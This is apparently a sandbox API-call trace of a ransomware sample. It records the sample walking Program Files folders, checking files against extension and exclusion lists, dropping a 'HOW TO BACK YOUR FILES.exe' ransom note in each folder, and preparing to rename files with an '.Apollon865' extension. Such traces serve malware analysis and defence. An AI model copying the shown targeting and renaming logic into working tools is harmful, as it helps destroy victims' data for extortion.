	[0052.883] lstrlenW (lpString="ckp") returned 3
	[0052.883] lstrcmpiW (lpString1="rdf", lpString2="ckp") returned 1
	[0052.883] lstrlenW (lpString="cma") returned 3
	[0052.883] lstrcmpiW (lpString1="rdf", lpString2="cma") returned 1
	[0052.883] lstrlenW (lpString="cpd") returned 3
	[0052.883] lstrcmpiW (lpString1="rdf", lpString2="cpd") returned 1
	[0052.883] lstrlenW (lpString="dacpac") returned 6
	[0052.883] lstrcmpiW (lpString1="ll.rdf", lpString2="dacpac") returned 1
	[0052.883] lstrlenW (lpString="dad") returned 3
	[0052.883] lstrcmpiW (lpString1="rdf", lpString2="dad") returned 1
	[0052.883] lstrlenW (lpString="dadiagrams") returned 10
	[0052.883] lstrcmpiW (lpString1="nstall.rdf", lpString2="dadiagrams") returned 1
	[0052.883] lstrlenW (lpString="daschema") returned 8
	[0052.883] lstrcmpiW (lpString1="tall.rdf", lpString2="daschema") returned 1
	[0052.883] lstrlenW (lpString="db-journal") returned 10
	[0052.883] lstrcmpiW (lpString1="nstall.rdf", lpString2="db-journal") returned 1
	[0052.883] lstrlenW (lpString="db-shm") returned 6
	[0052.883] lstrcmpiW (lpString1="ll.rdf", lpString2="db-shm") returned 1
	[0052.883] lstrlenW (lpString="db-wal") returned 6
	[0052.883] lstrcmpiW (lpString1="ll.rdf", lpString2="db-wal") returned 1
	[0052.883] lstrlenW (lpString="dbc") returned 3
	[0052.883] lstrcmpiW (lpString1="rdf", lpString2="dbc") returned 1
	[0052.883] lstrlenW (lpString="dbs") returned 3
	[0052.883] lstrcmpiW (lpString1="rdf", lpString2="dbs") returned 1
	[0052.883] lstrlenW (lpString="dbt") returned 3
	[0052.883] lstrcmpiW (lpString1="rdf", lpString2="dbt") returned 1
	[0052.883] lstrlenW (lpString="dbv") returned 3
	[0052.883] lstrcmpiW (lpString1="rdf", lpString2="dbv") returned 1
	[0052.883] lstrlenW (lpString="dbx") returned 3
	[0052.883] lstrcmpiW (lpString1="rdf", lpString2="dbx") returned 1
	[0052.883] lstrlenW (lpString="dcb") returned 3
	[0052.883] lstrcmpiW (lpString1="rdf", lpString2="dcb") returned 1
	[0052.883] lstrcmpiW (lpString1="rdf", lpString2="dct") returned 1
	[0052.883] lstrcmpiW (lpString1="rdf", lpString2="dcx") returned 1
	[0052.883] lstrcmpiW (lpString1="rdf", lpString2="ddl") returned 1
	[0052.884] lstrcmpiW (lpString1=".rdf", lpString2="dlis") returned -1
	[0052.884] lstrcmpiW (lpString1="rdf", lpString2="dp1") returned 1
	[0052.884] lstrcmpiW (lpString1="rdf", lpString2="dqy") returned 1
	[0052.884] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\components", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\components") returned="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\components"
	[0052.884] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591640 | out: hHeap=0x580000) returned 1
	[0052.884] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a88 | out: hHeap=0x580000) returned 1
	[0052.884] lstrlenW (lpString="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\components") returned 57
	[0052.884] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\components" | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\components") returned="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\components"
	[0052.884] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.884] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\components\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\components\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.889] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.889] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\components\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x37996930, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37996930, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.890] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.890] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.890] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.890] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x37996930, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37996930, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.890] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.890] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.890] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.890] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.890] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2fa520, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2fa520, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x49bf0480, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x42870, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="browsercomps.dll", cAlternateFileName="BROWSE~1.DLL")) returned 1
	[0052.890] lstrcmpiW (lpString1="browsercomps.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.890] lstrcmpiW (lpString1="browsercomps.dll", lpString2="Apollon865.txt.exe") returned 1
	[0052.890] lstrcmpiW (lpString1="browsercomps.dll", lpString2=".") returned 1
	[0052.890] lstrcmpiW (lpString1="browsercomps.dll", lpString2="..") returned 1
	[0052.890] lstrcmpiW (lpString1="browsercomps.dll", lpString2="windows") returned -1
	[0052.890] lstrcmpiW (lpString1="browsercomps.dll", lpString2="bootmgr") returned 1
	[0052.890] lstrcmpiW (lpString1="browsercomps.dll", lpString2="temp") returned -1
	[0052.890] lstrcmpiW (lpString1="browsercomps.dll", lpString2="pagefile.sys") returned -1
	[0052.890] lstrcmpiW (lpString1="browsercomps.dll", lpString2="boot") returned 1
	[0052.890] lstrcmpiW (lpString1="browsercomps.dll", lpString2="ids.txt") returned -1
	[0052.890] lstrcmpiW (lpString1="browsercomps.dll", lpString2="ntuser.dat") returned -1
	[0052.890] lstrcmpiW (lpString1="browsercomps.dll", lpString2="perflogs") returned -1
	[0052.890] lstrcmpiW (lpString1="browsercomps.dll", lpString2="MSBuild") returned -1
	[0052.890] lstrlenW (lpString="browsercomps.dll") returned 16
	[0052.890] lstrlenW (lpString="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\components\\*") returned 59
	[0052.890] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="browsercomps.dll" | out: lpString1="browsercomps.dll") returned="browsercomps.dll"
	[0052.890] lstrlenW (lpString="browsercomps.dll") returned 16
	[0052.890] lstrlenW (lpString="Apollon865") returned 10
	[0052.890] lstrcmpiW (lpString1="rcomps.dll", lpString2="Apollon865") returned 1
	[0052.890] lstrlenW (lpString=".dll") returned 4
	[0052.890] lstrcmpiW (lpString1="browsercomps.dll", lpString2=".dll") returned 1
	[0052.890] lstrlenW (lpString=".lnk") returned 4
	[0052.890] lstrcmpiW (lpString1="browsercomps.dll", lpString2=".lnk") returned 1
	[0052.891] lstrlenW (lpString=".ini") returned 4
	[0052.891] lstrcmpiW (lpString1="browsercomps.dll", lpString2=".ini") returned 1
	[0052.891] lstrlenW (lpString=".sys") returned 4
	[0052.891] lstrcmpiW (lpString1="browsercomps.dll", lpString2=".sys") returned 1
	[0052.891] lstrlenW (lpString="browsercomps.dll") returned 16
	[0052.891] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="components.manifest" | out: lpString1="components.manifest") returned="components.manifest"
	[0052.891] lstrlenW (lpString="components.manifest") returned 19
	[0052.891] lstrlenW (lpString="Apollon865") returned 10
	[0052.891] lstrcmpiW (lpString1="s.manifest", lpString2="Apollon865") returned 1
	[0052.891] lstrlenW (lpString=".dll") returned 4
	[0052.891] lstrcmpiW (lpString1="components.manifest", lpString2=".dll") returned 1
	[0052.891] lstrlenW (lpString=".lnk") returned 4
	[0052.891] lstrcmpiW (lpString1="components.manifest", lpString2=".lnk") returned 1
	[0052.891] lstrlenW (lpString=".ini") returned 4
	[0052.891] lstrcmpiW (lpString1="components.manifest", lpString2=".ini") returned 1
	[0052.891] lstrlenW (lpString=".sys") returned 4
	[0052.891] lstrcmpiW (lpString1="components.manifest", lpString2=".sys") returned 1
	[0052.891] lstrlenW (lpString="components.manifest") returned 19
	[0052.891] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Microsoft.NET", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Microsoft.NET") returned="C:\\Program Files (x86)\\Microsoft.NET"
	[0052.891] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bca10 | out: hHeap=0x580000) returned 1
	[0052.891] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0052.891] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft.NET") returned 36
	[0052.891] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Microsoft.NET" | out: lpString1="C:\\Program Files (x86)\\Microsoft.NET") returned="C:\\Program Files (x86)\\Microsoft.NET"
	[0052.891] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.891] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft.NET\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft.net\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.895] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.895] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f1bbe30, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x37996930, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37996930, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.896] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.896] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.896] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.896] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f1bbe30, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x37996930, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37996930, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.896] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.896] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.896] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.896] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.896] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f97df0, ftCreationTime.dwHighDateTime=0x1d5037a, ftLastAccessTime.dwLowDateTime=0x750bd620, ftLastAccessTime.dwHighDateTime=0x1d55822, ftLastWriteTime.dwLowDateTime=0x750bd620, ftLastWriteTime.dwHighDateTime=0x1d55822, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="geek feelings cas.exe", cAlternateFileName="GEEKFE~1.EXE")) returned 1
	[0052.896] lstrcmpiW (lpString1="geek feelings cas.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.896] lstrcmpiW (lpString1="geek feelings cas.exe", lpString2="Apollon865.txt.exe") returned 1
	[0052.896] lstrcmpiW (lpString1="geek feelings cas.exe", lpString2=".") returned 1
	[0052.896] lstrcmpiW (lpString1="geek feelings cas.exe", lpString2="..") returned 1
	[0052.896] lstrcmpiW (lpString1="geek feelings cas.exe", lpString2="windows") returned -1
	[0052.896] lstrcmpiW (lpString1="geek feelings cas.exe", lpString2="bootmgr") returned 1
	[0052.896] lstrcmpiW (lpString1="geek feelings cas.exe", lpString2="temp") returned -1
	[0052.896] lstrcmpiW (lpString1="geek feelings cas.exe", lpString2="pagefile.sys") returned -1
	[0052.896] lstrcmpiW (lpString1="geek feelings cas.exe", lpString2="boot") returned 1
	[0052.896] lstrcmpiW (lpString1="geek feelings cas.exe", lpString2="ids.txt") returned -1
	[0052.896] lstrcmpiW (lpString1="geek feelings cas.exe", lpString2="ntuser.dat") returned -1
	[0052.896] lstrcmpiW (lpString1="geek feelings cas.exe", lpString2="perflogs") returned -1
	[0052.896] lstrcmpiW (lpString1="geek feelings cas.exe", lpString2="MSBuild") returned -1
	[0052.896] lstrlenW (lpString="geek feelings cas.exe") returned 21
	[0052.896] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft.NET\\*") returned 38
	[0052.896] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="geek feelings cas.exe" | out: lpString1="geek feelings cas.exe") returned="geek feelings cas.exe"
	[0052.896] lstrlenW (lpString="geek feelings cas.exe") returned 21
	[0052.896] lstrlenW (lpString="Apollon865") returned 10
	[0052.896] lstrcmpiW (lpString1="gs cas.exe", lpString2="Apollon865") returned 1
	[0052.896] lstrlenW (lpString=".dll") returned 4
	[0052.896] lstrcmpiW (lpString1="geek feelings cas.exe", lpString2=".dll") returned 1
	[0052.896] lstrlenW (lpString=".lnk") returned 4
	[0052.896] lstrcmpiW (lpString1="geek feelings cas.exe", lpString2=".lnk") returned 1
	[0052.896] lstrlenW (lpString=".ini") returned 4
	[0052.897] lstrcmpiW (lpString1="geek feelings cas.exe", lpString2=".ini") returned 1
	[0052.897] lstrlenW (lpString=".sys") returned 4
	[0052.897] lstrcmpiW (lpString1="geek feelings cas.exe", lpString2=".sys") returned 1
	[0052.897] lstrlenW (lpString="geek feelings cas.exe") returned 21
	[0052.897] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="investigations draws vertex.exe" | out: lpString1="investigations draws vertex.exe") returned="investigations draws vertex.exe"
	[0052.897] lstrlenW (lpString="investigations draws vertex.exe") returned 31
	[0052.897] lstrlenW (lpString="Apollon865") returned 10
	[0052.897] lstrcmpiW (lpString1="vertex.exe", lpString2="Apollon865") returned 1
	[0052.897] lstrlenW (lpString=".dll") returned 4
	[0052.897] lstrcmpiW (lpString1="investigations draws vertex.exe", lpString2=".dll") returned 1
	[0052.897] lstrlenW (lpString=".lnk") returned 4
	[0052.897] lstrcmpiW (lpString1="investigations draws vertex.exe", lpString2=".lnk") returned 1
	[0052.897] lstrlenW (lpString=".ini") returned 4
	[0052.897] lstrcmpiW (lpString1="investigations draws vertex.exe", lpString2=".ini") returned 1
	[0052.897] lstrlenW (lpString=".sys") returned 4
	[0052.897] lstrcmpiW (lpString1="investigations draws vertex.exe", lpString2=".sys") returned 1
	[0052.897] lstrlenW (lpString="investigations draws vertex.exe") returned 31
	[0052.897] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="lemon oak.exe" | out: lpString1="lemon oak.exe") returned="lemon oak.exe"
	[0052.897] lstrlenW (lpString="lemon oak.exe") returned 13
	[0052.897] lstrlenW (lpString="Apollon865") returned 10
	[0052.897] lstrcmpiW (lpString1="on oak.exe", lpString2="Apollon865") returned 1
	[0052.897] lstrlenW (lpString=".dll") returned 4
	[0052.897] lstrcmpiW (lpString1="lemon oak.exe", lpString2=".dll") returned 1
	[0052.897] lstrlenW (lpString=".lnk") returned 4
	[0052.897] lstrcmpiW (lpString1="lemon oak.exe", lpString2=".lnk") returned 1
	[0052.897] lstrlenW (lpString=".ini") returned 4
	[0052.897] lstrcmpiW (lpString1="lemon oak.exe", lpString2=".ini") returned 1
	[0052.897] lstrlenW (lpString=".sys") returned 4
	[0052.897] lstrcmpiW (lpString1="lemon oak.exe", lpString2=".sys") returned 1
	[0052.897] lstrlenW (lpString="lemon oak.exe") returned 13
	[0052.897] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="Primary Interop Assemblies" | out: lpString1="Primary Interop Assemblies") returned="Primary Interop Assemblies"
	[0052.898] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a68
	[0052.898] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bf568
	[0052.898] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a70 | out: ListHead=0x5b76b0, ListEntry=0x5b7a70) returned 0x5b7a50
	[0052.898] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a491400, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9ea84660, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9ea84660, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="REDIST~1")) returned 1
	[0052.898] lstrcmpiW (lpString1="RedistList", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.898] lstrcmpiW (lpString1="RedistList", lpString2="Apollon865.txt.exe") returned 1
	[0052.898] lstrcmpiW (lpString1="RedistList", lpString2=".") returned 1
	[0052.898] lstrcmpiW (lpString1="RedistList", lpString2="..") returned 1
	[0052.898] lstrcmpiW (lpString1="RedistList", lpString2="windows") returned -1
	[0052.898] lstrcmpiW (lpString1="RedistList", lpString2="bootmgr") returned 1
	[0052.898] lstrcmpiW (lpString1="RedistList", lpString2="temp") returned -1
	[0052.898] lstrcmpiW (lpString1="RedistList", lpString2="pagefile.sys") returned 1
	[0052.898] lstrcmpiW (lpString1="RedistList", lpString2="boot") returned 1
	[0052.898] lstrcmpiW (lpString1="RedistList", lpString2="ids.txt") returned 1
	[0052.898] lstrcmpiW (lpString1="RedistList", lpString2="ntuser.dat") returned 1
	[0052.898] lstrcmpiW (lpString1="RedistList", lpString2="perflogs") returned 1
	[0052.898] lstrcmpiW (lpString1="RedistList", lpString2="MSBuild") returned 1
	[0052.898] lstrlenW (lpString="RedistList") returned 10
	[0052.898] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies") returned 63
	[0052.898] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="RedistList" | out: lpString1="RedistList") returned="RedistList"
	[0052.898] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0052.898] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x60) returned 0x5c5458
	[0052.898] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a90 | out: ListHead=0x5b76b0, ListEntry=0x5b7a90) returned 0x5b7a70
	[0052.898] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a491400, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9ea84660, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9ea84660, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="REDIST~1")) returned 0
	[0052.898] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0052.898] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a90
	[0052.898] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Microsoft.NET\\RedistList", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Microsoft.NET\\RedistList") returned="C:\\Program Files (x86)\\Microsoft.NET\\RedistList"
	[0052.898] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5458 | out: hHeap=0x580000) returned 1
	[0052.898] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a88 | out: hHeap=0x580000) returned 1
	[0052.898] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft.NET\\RedistList") returned 47
	[0052.898] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Microsoft.NET\\RedistList" | out: lpString1="C:\\Program Files (x86)\\Microsoft.NET\\RedistList") returned="C:\\Program Files (x86)\\Microsoft.NET\\RedistList"
	[0052.898] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.898] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.904] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.904] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a491400, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x379bca90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x379bca90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.904] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.904] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.904] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.904] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a491400, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x379bca90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x379bca90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.904] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.904] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.905] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.905] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.905] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1cf9700, ftCreationTime.dwHighDateTime=0x1cac649, ftLastAccessTime.dwLowDateTime=0x8a491400, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xc1cf9700, ftLastWriteTime.dwHighDateTime=0x1cac649, nFileSizeHigh=0x0, nFileSizeLow=0x3d63, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AssemblyList_4_client.xml", cAlternateFileName="ASSEMB~1.XML")) returned 1
	[0052.905] lstrcmpiW (lpString1="AssemblyList_4_client.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.905] lstrcmpiW (lpString1="AssemblyList_4_client.xml", lpString2="Apollon865.txt.exe") returned 1
	[0052.905] lstrcmpiW (lpString1="AssemblyList_4_client.xml", lpString2=".") returned 1
	[0052.905] lstrcmpiW (lpString1="AssemblyList_4_client.xml", lpString2="..") returned 1
	[0052.905] lstrcmpiW (lpString1="AssemblyList_4_client.xml", lpString2="windows") returned -1
	[0052.905] lstrcmpiW (lpString1="AssemblyList_4_client.xml", lpString2="bootmgr") returned -1
	[0052.905] lstrcmpiW (lpString1="AssemblyList_4_client.xml", lpString2="temp") returned -1
	[0052.905] lstrcmpiW (lpString1="AssemblyList_4_client.xml", lpString2="pagefile.sys") returned -1
	[0052.905] lstrcmpiW (lpString1="AssemblyList_4_client.xml", lpString2="boot") returned -1
	[0052.905] lstrcmpiW (lpString1="AssemblyList_4_client.xml", lpString2="ids.txt") returned -1
	[0052.905] lstrcmpiW (lpString1="AssemblyList_4_client.xml", lpString2="ntuser.dat") returned -1
	[0052.905] lstrcmpiW (lpString1="AssemblyList_4_client.xml", lpString2="perflogs") returned -1
	[0052.905] lstrcmpiW (lpString1="AssemblyList_4_client.xml", lpString2="MSBuild") returned -1
	[0052.905] lstrlenW (lpString="AssemblyList_4_client.xml") returned 25
	[0052.905] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\*") returned 49
	[0052.905] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="AssemblyList_4_client.xml" | out: lpString1="AssemblyList_4_client.xml") returned="AssemblyList_4_client.xml"
	[0052.905] lstrlenW (lpString="AssemblyList_4_client.xml") returned 25
	[0052.905] lstrlenW (lpString="Apollon865") returned 10
	[0052.905] lstrcmpiW (lpString1="client.xml", lpString2="Apollon865") returned 1
	[0052.905] lstrlenW (lpString=".dll") returned 4
	[0052.905] lstrcmpiW (lpString1="AssemblyList_4_client.xml", lpString2=".dll") returned 1
	[0052.905] lstrlenW (lpString=".lnk") returned 4
	[0052.905] lstrcmpiW (lpString1="AssemblyList_4_client.xml", lpString2=".lnk") returned 1
	[0052.905] lstrlenW (lpString=".ini") returned 4
	[0052.905] lstrcmpiW (lpString1="AssemblyList_4_client.xml", lpString2=".ini") returned 1
	[0052.905] lstrlenW (lpString=".sys") returned 4
	[0052.905] lstrcmpiW (lpString1="AssemblyList_4_client.xml", lpString2=".sys") returned 1
	[0052.905] lstrlenW (lpString="AssemblyList_4_client.xml") returned 25
	[0052.905] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml.Apollon865") returned 84
